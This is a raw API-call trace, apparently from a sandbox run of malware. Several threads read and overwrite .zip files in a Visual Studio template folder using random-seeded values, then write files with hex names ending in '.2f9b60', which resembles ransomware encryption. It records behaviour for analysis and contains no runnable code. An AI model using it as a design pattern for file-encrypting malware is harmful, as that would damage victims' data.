[0228.664] RtlRandomEx (in: Seed=0x29abfc50 | out: Seed=0x29abfc50) returned 0x3fa0f2da [0228.665] RtlRandomEx (in: Seed=0x29abfc50 | out: Seed=0x29abfc50) returned 0x76545ad6 [0228.665] RtlRandomEx (in: Seed=0x29abfc50 | out: Seed=0x29abfc50) returned 0x75bd90e4 [0228.665] RtlRandomEx (in: Seed=0x29abfc50 | out: Seed=0x29abfc50) returned 0x25505f0c [0228.665] RtlRandomEx (in: Seed=0x29abfc50 | out: Seed=0x29abfc50) returned 0x4bc3f13c [0228.665] RtlRandomEx (in: Seed=0x29abfc50 | out: Seed=0x29abfc50) returned 0x481cddae [0228.665] RtlRandomEx (in: Seed=0x29abfc50 | out: Seed=0x29abfc50) returned 0x200c346f [0228.665] RtlRandomEx (in: Seed=0x29abfc50 | out: Seed=0x29abfc50) returned 0x45c3c3e4 [0228.665] RtlRandomEx (in: Seed=0x29abfc50 | out: Seed=0x29abfc50) returned 0x7379230b [0228.665] RtlRandomEx (in: Seed=0x29abfc50 | out: Seed=0x29abfc50) returned 0x41405a0f [0228.665] RtlRandomEx (in: Seed=0x29abfc50 | out: Seed=0x29abfc50) returned 0x53599d24 [0228.665] RtlRandomEx (in: Seed=0x29abfc50 | out: Seed=0x29abfc50) returned 0x7acf8155 [0228.665] RtlRandomEx (in: Seed=0x29abfc50 | out: Seed=0x29abfc50) returned 0x2e298849 [0228.665] RtlRandomEx (in: Seed=0x29abfc50 | out: Seed=0x29abfc50) returned 0x617b88ed [0228.665] RtlRandomEx (in: Seed=0x29abfc50 | out: Seed=0x29abfc50) returned 0x1777ff57 [0228.665] RtlRandomEx (in: Seed=0x29abfc50 | out: Seed=0x29abfc50) returned 0x2f00dca3 [0228.665] RtlRandomEx (in: Seed=0x29abfc50 | out: Seed=0x29abfc50) returned 0x67dc68d8 [0228.665] RtlRandomEx (in: Seed=0x29abfc50 | out: Seed=0x29abfc50) returned 0x1f63f363 [0228.665] RtlRandomEx (in: Seed=0x29abfc50 | out: Seed=0x29abfc50) returned 0x5261c992 [0228.665] RtlRandomEx (in: Seed=0x29abfc50 | out: Seed=0x29abfc50) returned 0x244786e6 [0228.665] RtlRandomEx (in: Seed=0x29abfc50 | out: Seed=0x29abfc50) returned 0x32468c5e [0228.665] RtlRandomEx (in: Seed=0x29abfc50 | out: Seed=0x29abfc50) returned 0x31c45faf [0228.665] RtlRandomEx (in: Seed=0x29abfc50 | out: Seed=0x29abfc50) returned 0x171f8e52 [0228.665] RtlRandomEx (in: Seed=0x29abfc50 | out: Seed=0x29abfc50) returned 0x605950e6 [0228.665] RtlRandomEx (in: Seed=0x29abfc50 | out: Seed=0x29abfc50) returned 0x2e658746 [0228.665] RtlRandomEx (in: Seed=0x29abfc50 | out: Seed=0x29abfc50) returned 0x1190e0c5 [0228.665] RtlRandomEx (in: Seed=0x29abfc50 | out: Seed=0x29abfc50) returned 0x7b1835bc [0228.665] RtlRandomEx (in: Seed=0x29abfc50 | out: Seed=0x29abfc50) returned 0x6979aaac [0228.665] RtlRandomEx (in: Seed=0x29abfc50 | out: Seed=0x29abfc50) returned 0x28689e7 [0228.665] RtlRandomEx (in: Seed=0x29abfc50 | out: Seed=0x29abfc50) returned 0x3f244ff1 [0228.665] RtlRandomEx (in: Seed=0x29abfc50 | out: Seed=0x29abfc50) returned 0xcc28287 [0228.673] ReadFile (in: hFile=0x2d48, lpBuffer=0x43019930, nNumberOfBytesToRead=0x3719, lpNumberOfBytesRead=0x29abfc50, lpOverlapped=0x0 | out: lpBuffer=0x43019930*, lpNumberOfBytesRead=0x29abfc50*=0x3719, lpOverlapped=0x0) returned 1 [0228.990] SetFilePointerEx (in: hFile=0x2d48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.990] WriteFile (in: hFile=0x2d48, lpBuffer=0x43028970*, nNumberOfBytesToWrite=0x3719, lpNumberOfBytesWritten=0x29abfc54, lpOverlapped=0x0 | out: lpBuffer=0x43028970*, lpNumberOfBytesWritten=0x29abfc54*=0x3719, lpOverlapped=0x0) returned 1 [0239.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a4e0 [0239.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431348d0 [0239.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431348d0) returned 1 [0239.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43028970) returned 1 [0239.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43019930) returned 1 [0239.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869fc0) returned 1 [0239.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62a50) returned 1 [0239.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x431348d0 [0239.311] SetFilePointerEx (in: hFile=0x2d48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0239.311] WriteFile (in: hFile=0x2d48, lpBuffer=0x42c15290*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x29abfd70, lpOverlapped=0x0 | out: lpBuffer=0x42c15290*, lpNumberOfBytesWritten=0x29abfd70*=0x10c, lpOverlapped=0x0) returned 1 [0242.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420586f0 [0242.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba160 [0242.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85feb0 [0242.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85feb0) returned 1 [0242.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85feb0 [0242.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860600 [0242.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8609c0 [0242.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8609c0) returned 1 [0242.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba160) returned 1 [0242.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420586f0) returned 1 [0242.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x431ac820 [0242.187] sprintf (in: _Dest=0x431ac820, _Format="%c%c" | out: _Dest="1f") returned 2 [0242.187] sprintf (in: _Dest=0x431ac822, _Format="%c%c" | out: _Dest="c9") returned 2 [0242.187] sprintf (in: _Dest=0x431ac824, _Format="%c%c" | out: _Dest="98") returned 2 [0242.187] sprintf (in: _Dest=0x431ac826, _Format="%c%c" | out: _Dest="0c") returned 2 [0242.187] sprintf (in: _Dest=0x431ac828, _Format="%c%c" | out: _Dest="f0") returned 2 [0242.187] sprintf (in: _Dest=0x431ac82a, _Format="%c%c" | out: _Dest="00") returned 2 [0242.187] sprintf (in: _Dest=0x431ac82c, _Format="%c%c" | out: _Dest="e1") returned 2 [0242.188] sprintf (in: _Dest=0x431ac82e, _Format="%c%c" | out: _Dest="b1") returned 2 [0242.188] sprintf (in: _Dest=0x431ac830, _Format="%c%c" | out: _Dest="1b") returned 2 [0242.188] sprintf (in: _Dest=0x431ac832, _Format="%c%c" | out: _Dest="db") returned 2 [0242.188] sprintf (in: _Dest=0x431ac834, _Format="%c%c" | out: _Dest="82") returned 2 [0242.188] sprintf (in: _Dest=0x431ac836, _Format="%c%c" | out: _Dest="89") returned 2 [0242.188] sprintf (in: _Dest=0x431ac838, _Format="%c%c" | out: _Dest="32") returned 2 [0242.188] sprintf (in: _Dest=0x431ac83a, _Format="%c%c" | out: _Dest="0f") returned 2 [0242.188] sprintf (in: _Dest=0x431ac83c, _Format="%c%c" | out: _Dest="bc") returned 2 [0242.188] sprintf (in: _Dest=0x431ac83e, _Format="%c%c" | out: _Dest="63") returned 2 [0242.188] sprintf (in: _Dest=0x431ac840, _Format="%c%c" | out: _Dest="c2") returned 2 [0242.188] sprintf (in: _Dest=0x431ac842, _Format="%c%c" | out: _Dest="a1") returned 2 [0242.188] sprintf (in: _Dest=0x431ac844, _Format="%c%c" | out: _Dest="7c") returned 2 [0242.188] sprintf (in: _Dest=0x431ac846, _Format="%c%c" | out: _Dest="09") returned 2 [0242.188] sprintf (in: _Dest=0x431ac848, _Format="%c%c" | out: _Dest="3e") returned 2 [0242.188] sprintf (in: _Dest=0x431ac84a, _Format="%c%c" | out: _Dest="f0") returned 2 [0242.188] sprintf (in: _Dest=0x431ac84c, _Format="%c%c" | out: _Dest="ed") returned 2 [0242.188] sprintf (in: _Dest=0x431ac84e, _Format="%c%c" | out: _Dest="99") returned 2 [0242.188] sprintf (in: _Dest=0x431ac850, _Format="%c%c" | out: _Dest="f0") returned 2 [0242.188] sprintf (in: _Dest=0x431ac852, _Format="%c%c" | out: _Dest="9b") returned 2 [0242.188] RtlInitAnsiString (in: DestinationString=0x29abfde8, SourceString="1fc9980cf000e1b11bdb8289320fbc63c2a17c093ef0ed99f09b" | out: DestinationString="1fc9980cf000e1b11bdb8289320fbc63c2a17c093ef0ed99f09b") [0242.188] RtlAnsiStringToUnicodeString (in: DestinationString=0x29abfdb8, SourceString="1fc9980cf000e1b11bdb8289320fbc63c2a17c093ef0ed99f09b", AllocateDestinationString=1 | out: DestinationString="1fc9980cf000e1b11bdb8289320fbc63c2a17c093ef0ed99f09b") returned 0x0 [0242.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1ceba6e0 [0242.189] wcscat (in: _Dest=0x1ceb64d0, _Source="1fc9980cf000e" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\1fc9980cf000e") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\1fc9980cf000e" [0242.189] wcscat (in: _Dest=0x1ceb64d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\1fc9980cf000e.2f9b60") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\1fc9980cf000e.2f9b60" [0242.189] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\1fc9980cf000e.2f9b60", NtPathName=0x29abfd90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\1fc9980cf000e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0242.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x100) returned 0x1cebcf10 [0243.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebcf10) returned 1 [0243.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43092410) returned 1 [0243.027] NtQueryInformationFile (in: FileHandle=0x2d48, IoStatusBlock=0x29abfdf8, FileInformation=0x29abfe08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x29abfdf8, FileInformation=0x29abfe08) returned 0x0 [0243.027] NtSetInformationFile (FileHandle=0x2d48, IoStatusBlock=0x29abfdf8, FileInformation=0x29abfe08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0244.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb64d0) returned 1 [0244.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba6e0) returned 1 [0244.509] FlushFileBuffers (hFile=0x2d48) Thread: id = 3789 os_tid = 0x17e8 [0227.634] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Resource.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\resource.zip")) returned 0x20 [0228.261] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Resource.zip", dwFileAttributes=0x20) returned 1 [0228.262] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Resource.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\resource.zip"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd18 [0228.262] GetFileSizeEx (in: hFile=0xd18, lpFileSize=0x244df840 | out: lpFileSize=0x244df840*=2111) returned 1 [0228.262] SetFilePointerEx (in: hFile=0xd18, liDistanceToMove=0x83b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.262] ReadFile (in: hFile=0xd18, lpBuffer=0x244df7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x244df808, lpOverlapped=0x0 | out: lpBuffer=0x244df7c0*, lpNumberOfBytesRead=0x244df808*=0x4, lpOverlapped=0x0) returned 1 [0228.617] SetFilePointerEx (in: hFile=0xd18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3880 [0228.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6310 [0228.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6f70 [0228.618] NtQuerySystemTime (in: CurrentTime=0x244df700 | out: CurrentTime=0x244df700*=132462178326190000) returned 0x0 [0228.618] RtlRandomEx (in: Seed=0x244df6f0 | out: Seed=0x244df6f0) returned 0x183c39b2 [0228.618] RtlRandomEx (in: Seed=0x244df6f0 | out: Seed=0x244df6f0) returned 0x5c3e7126 [0228.618] RtlRandomEx (in: Seed=0x244df6f0 | out: Seed=0x244df6f0) returned 0x68702e58 [0228.618] RtlRandomEx (in: Seed=0x244df6f0 | out: Seed=0x244df6f0) returned 0x58acf471 [0228.618] RtlRandomEx (in: Seed=0x244df6f0 | out: Seed=0x244df6f0) returned 0x117dfdf1 [0228.618] RtlRandomEx (in: Seed=0x244df6f0 | out: Seed=0x244df6f0) returned 0x53442a25 [0228.618] RtlRandomEx (in: Seed=0x244df6f0 | out: Seed=0x244df6f0) returned 0x3dca79c5 [0228.618] RtlRandomEx (in: Seed=0x244df6f0 | out: Seed=0x244df6f0) returned 0x16d0c73a [0228.618] RtlRandomEx (in: Seed=0x244df6f0 | out: Seed=0x244df6f0) returned 0x43f023fe [0228.618] RtlRandomEx (in: Seed=0x244df6f0 | out: Seed=0x244df6f0) returned 0x2f00dca3 [0228.618] RtlRandomEx (in: Seed=0x244df6f0 | out: Seed=0x244df6f0) returned 0x75ecbe5d [0228.618] RtlRandomEx (in: Seed=0x244df6f0 | out: Seed=0x244df6f0) returned 0x6c9080d4 [0228.618] RtlRandomEx (in: Seed=0x244df6f0 | out: Seed=0x244df6f0) returned 0x4c82f7ff [0228.618] RtlRandomEx (in: Seed=0x244df6f0 | out: Seed=0x244df6f0) returned 0x2c390981 [0228.618] RtlRandomEx (in: Seed=0x244df6f0 | out: Seed=0x244df6f0) returned 0x4408c719 [0228.618] RtlRandomEx (in: Seed=0x244df6f0 | out: Seed=0x244df6f0) returned 0x5a4ebde6 [0228.618] RtlRandomEx (in: Seed=0x244df6f0 | out: Seed=0x244df6f0) returned 0x3761fff8 [0228.618] RtlRandomEx (in: Seed=0x244df6f0 | out: Seed=0x244df6f0) returned 0x391d77de [0228.619] RtlRandomEx (in: Seed=0x244df6f0 | out: Seed=0x244df6f0) returned 0x1f43711b [0228.619] RtlRandomEx (in: Seed=0x244df6f0 | out: Seed=0x244df6f0) returned 0x210ed582 [0228.619] RtlRandomEx (in: Seed=0x244df6f0 | out: Seed=0x244df6f0) returned 0x3cdc7cd1 [0228.619] RtlRandomEx (in: Seed=0x244df6f0 | out: Seed=0x244df6f0) returned 0x355a9d29 [0228.619] RtlRandomEx (in: Seed=0x244df6f0 | out: Seed=0x244df6f0) returned 0x33d97df7 [0228.619] RtlRandomEx (in: Seed=0x244df6f0 | out: Seed=0x244df6f0) returned 0x1b4299a2 [0228.619] RtlRandomEx (in: Seed=0x244df6f0 | out: Seed=0x244df6f0) returned 0x53599d24 [0228.619] RtlRandomEx (in: Seed=0x244df6f0 | out: Seed=0x244df6f0) returned 0x7e7c4cc8 [0228.619] RtlRandomEx (in: Seed=0x244df6f0 | out: Seed=0x244df6f0) returned 0x58409b25 [0228.619] RtlRandomEx (in: Seed=0x244df6f0 | out: Seed=0x244df6f0) returned 0x5517ae07 [0228.619] RtlRandomEx (in: Seed=0x244df6f0 | out: Seed=0x244df6f0) returned 0x6d141372 [0228.619] RtlRandomEx (in: Seed=0x244df6f0 | out: Seed=0x244df6f0) returned 0x5adf1e33 [0228.619] RtlRandomEx (in: Seed=0x244df6f0 | out: Seed=0x244df6f0) returned 0x30f2f115 [0228.619] RtlRandomEx (in: Seed=0x244df6f0 | out: Seed=0x244df6f0) returned 0xaa82eba [0228.627] ReadFile (in: hFile=0xd18, lpBuffer=0x41e8c1b0, nNumberOfBytesToRead=0x83f, lpNumberOfBytesRead=0x244df6f0, lpOverlapped=0x0 | out: lpBuffer=0x41e8c1b0*, lpNumberOfBytesRead=0x244df6f0*=0x83f, lpOverlapped=0x0) returned 1 [0228.627] SetFilePointerEx (in: hFile=0xd18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.627] WriteFile (in: hFile=0xd18, lpBuffer=0x41e79560*, nNumberOfBytesToWrite=0x83f, lpNumberOfBytesWritten=0x244df6f4, lpOverlapped=0x0 | out: lpBuffer=0x41e79560*, lpNumberOfBytesWritten=0x244df6f4*=0x83f, lpOverlapped=0x0) returned 1 [0232.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa5c0 [0232.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aba60 [0232.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aba60) returned 1 [0232.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e79560) returned 1 [0232.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e8c1b0) returned 1 [0232.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0232.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61740) returned 1 [0232.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202aba60 [0232.997] SetFilePointerEx (in: hFile=0xd18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0232.997] WriteFile (in: hFile=0xd18, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x244df810, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x244df810*=0x10a, lpOverlapped=0x0) returned 1 [0235.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058560 [0235.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0235.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5120 [0235.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5120) returned 1 [0235.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0235.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5120 [0235.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1b20 [0235.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1b20) returned 1 [0235.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0235.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058560) returned 1 [0235.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ad820 [0235.311] sprintf (in: _Dest=0x431ad820, _Format="%c%c" | out: _Dest="46") returned 2 [0235.311] sprintf (in: _Dest=0x431ad822, _Format="%c%c" | out: _Dest="e1") returned 2 [0235.311] sprintf (in: _Dest=0x431ad824, _Format="%c%c" | out: _Dest="b9") returned 2 [0235.311] sprintf (in: _Dest=0x431ad826, _Format="%c%c" | out: _Dest="fe") returned 2 [0235.311] sprintf (in: _Dest=0x431ad828, _Format="%c%c" | out: _Dest="b7") returned 2 [0235.311] sprintf (in: _Dest=0x431ad82a, _Format="%c%c" | out: _Dest="59") returned 2 [0235.311] sprintf (in: _Dest=0x431ad82c, _Format="%c%c" | out: _Dest="2a") returned 2 [0235.311] sprintf (in: _Dest=0x431ad82e, _Format="%c%c" | out: _Dest="9b") returned 2 [0235.311] sprintf (in: _Dest=0x431ad830, _Format="%c%c" | out: _Dest="ec") returned 2 [0235.311] sprintf (in: _Dest=0x431ad832, _Format="%c%c" | out: _Dest="21") returned 2 [0235.311] sprintf (in: _Dest=0x431ad834, _Format="%c%c" | out: _Dest="88") returned 2 [0235.311] sprintf (in: _Dest=0x431ad836, _Format="%c%c" | out: _Dest="36") returned 2 [0235.311] sprintf (in: _Dest=0x431ad838, _Format="%c%c" | out: _Dest="94") returned 2 [0235.311] sprintf (in: _Dest=0x431ad83a, _Format="%c%c" | out: _Dest="b5") returned 2 [0235.311] sprintf (in: _Dest=0x431ad83c, _Format="%c%c" | out: _Dest="ed") returned 2 [0235.311] sprintf (in: _Dest=0x431ad83e, _Format="%c%c" | out: _Dest="65") returned 2 [0235.311] sprintf (in: _Dest=0x431ad840, _Format="%c%c" | out: _Dest="3b") returned 2 [0235.311] sprintf (in: _Dest=0x431ad842, _Format="%c%c" | out: _Dest="93") returned 2 [0235.311] sprintf (in: _Dest=0x431ad844, _Format="%c%c" | out: _Dest="8f") returned 2 [0235.311] sprintf (in: _Dest=0x431ad846, _Format="%c%c" | out: _Dest="93") returned 2 [0235.311] sprintf (in: _Dest=0x431ad848, _Format="%c%c" | out: _Dest="22") returned 2 [0235.311] sprintf (in: _Dest=0x431ad84a, _Format="%c%c" | out: _Dest="49") returned 2 [0235.311] sprintf (in: _Dest=0x431ad84c, _Format="%c%c" | out: _Dest="56") returned 2 [0235.311] sprintf (in: _Dest=0x431ad84e, _Format="%c%c" | out: _Dest="a1") returned 2 [0235.311] RtlInitAnsiString (in: DestinationString=0x244df888, SourceString="46e1b9feb7592a9bec21883694b5ed653b938f93224956a1" | out: DestinationString="46e1b9feb7592a9bec21883694b5ed653b938f93224956a1") [0235.311] RtlAnsiStringToUnicodeString (in: DestinationString=0x244df858, SourceString="46e1b9feb7592a9bec21883694b5ed653b938f93224956a1", AllocateDestinationString=1 | out: DestinationString="46e1b9feb7592a9bec21883694b5ed653b938f93224956a1") returned 0x0 [0235.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1cddf670 [0235.312] wcscat (in: _Dest=0x1b798da0, _Source="46e1b9feb759" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\46e1b9feb759") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\46e1b9feb759" [0235.312] wcscat (in: _Dest=0x1b798da0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\46e1b9feb759.2f9b60") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\46e1b9feb759.2f9b60" [0235.312] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\46e1b9feb759.2f9b60", NtPathName=0x244df830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\46e1b9feb759.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfe) returned 0x1cebc7a0 Thread: id = 3790 os_tid = 0x17ec [0227.635] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\ResourceInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\resourceinternal.zip")) returned 0x20 [0228.263] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\ResourceInternal.zip", dwFileAttributes=0x20) returned 1 [0228.264] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\ResourceInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\resourceinternal.zip"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bac [0228.264] GetFileSizeEx (in: hFile=0x1bac, lpFileSize=0x2daef920 | out: lpFileSize=0x2daef920*=2138) returned 1 [0228.264] SetFilePointerEx (in: hFile=0x1bac, liDistanceToMove=0x856, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.264] ReadFile (in: hFile=0x1bac, lpBuffer=0x2daef8a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2daef8e8, lpOverlapped=0x0 | out: lpBuffer=0x2daef8a0*, lpNumberOfBytesRead=0x2daef8e8*=0x4, lpOverlapped=0x0) returned 1 [0228.457] SetFilePointerEx (in: hFile=0x1bac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1310 [0228.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1cd0 [0228.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3a10 [0228.458] NtQuerySystemTime (in: CurrentTime=0x2daef7e0 | out: CurrentTime=0x2daef7e0*=132462178324474000) returned 0x0 [0228.458] RtlRandomEx (in: Seed=0x2daef7d0 | out: Seed=0x2daef7d0) returned 0x2623d6e [0228.458] RtlRandomEx (in: Seed=0x2daef7d0 | out: Seed=0x2daef7d0) returned 0x7bbe7c1e [0228.458] RtlRandomEx (in: Seed=0x2daef7d0 | out: Seed=0x2daef7d0) returned 0x4d9d587a [0228.458] RtlRandomEx (in: Seed=0x2daef7d0 | out: Seed=0x2daef7d0) returned 0x55c1e379 [0228.458] RtlRandomEx (in: Seed=0x2daef7d0 | out: Seed=0x2daef7d0) returned 0x3d613013 [0228.458] RtlRandomEx (in: Seed=0x2daef7d0 | out: Seed=0x2daef7d0) returned 0x52f5f429 [0228.458] RtlRandomEx (in: Seed=0x2daef7d0 | out: Seed=0x2daef7d0) returned 0x1602e2f2 [0228.458] RtlRandomEx (in: Seed=0x2daef7d0 | out: Seed=0x2daef7d0) returned 0xf8a828a [0228.458] RtlRandomEx (in: Seed=0x2daef7d0 | out: Seed=0x2daef7d0) returned 0x4103af85 [0228.458] RtlRandomEx (in: Seed=0x2daef7d0 | out: Seed=0x2daef7d0) returned 0x43c32194 [0228.458] RtlRandomEx (in: Seed=0x2daef7d0 | out: Seed=0x2daef7d0) returned 0x1a043373 [0228.458] RtlRandomEx (in: Seed=0x2daef7d0 | out: Seed=0x2daef7d0) returned 0x5aa6ee8 